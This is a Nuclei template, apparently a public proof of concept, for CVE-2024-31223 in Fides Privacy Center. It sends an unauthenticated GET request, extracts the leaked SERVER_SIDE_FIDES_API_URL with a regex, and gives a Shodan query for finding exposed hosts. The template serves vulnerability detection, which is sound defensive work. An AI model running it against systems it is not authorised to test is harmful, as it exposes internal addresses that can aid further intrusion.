Fides versions 2.19.0 to before 2.39.2rc0 contain an information disclosure caused by unauthenticated HTTP GET request to the Privacy Center, letting attackers access the SERVER_SIDE_FIDES_API_URL, which may reveal server configuration details, exploit requires no authentication.
PoC代码[已公开]
id: CVE-2024-31223
info:
name: Fides Privacy Center ≤ 2.39.1 - Server-Side URL Disclosure
author: hnd3884
severity: medium
description: |
Fides versions 2.19.0 to before 2.39.2rc0 contain an information disclosure caused by unauthenticated HTTP GET request to the Privacy Center, letting attackers access the SERVER_SIDE_FIDES_API_URL, which may reveal server configuration details, exploit requires no authentication.
impact: |
Attackers can obtain server-side URLs, revealing private IPs, ports, and domain names, potentially aiding further targeted attacks.
remediation: |
Update to version 2.39.2rc0 or later.
reference:
- https://github.com/ethyca/fides/commit/0555080541f18a5aacff452c590ac9a1b56d7097
- https://github.com/ethyca/fides/security/advisories/GHSA-53q7-4874-24qg
- https://nvd.nist.gov/vuln/detail/CVE-2024-31223
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-31223
cwe-id: CWE-497
epss-score: 0.06799
epss-percentile: 0.90967
cpe: cpe:2.3:a:ethyca:fides:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"SERVER_SIDE_FIDES_API_URL"
tags: cve,cve2024,vuln,ethyca,fides,disclosure,vkev
http:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "SERVER_SIDE_FIDES_API_URL"
- type: status
status:
- 200
extractors:
- type: regex
name: server_side_fides_api_url
group: 1
regex:
- '"SERVER_SIDE_FIDES_API_URL":"(.+?)"'
# digest: 4a0a00473045022100d522681d3c19dd92ee9a6de5aa4febfc594e6da9b48bc1ec0166e3cb8898f33802206c0114b9d421ba3bd401ae640424a4390ff19874a2cda6f931cc846cc5371870:922c64590222798bb761d5b6d8e72950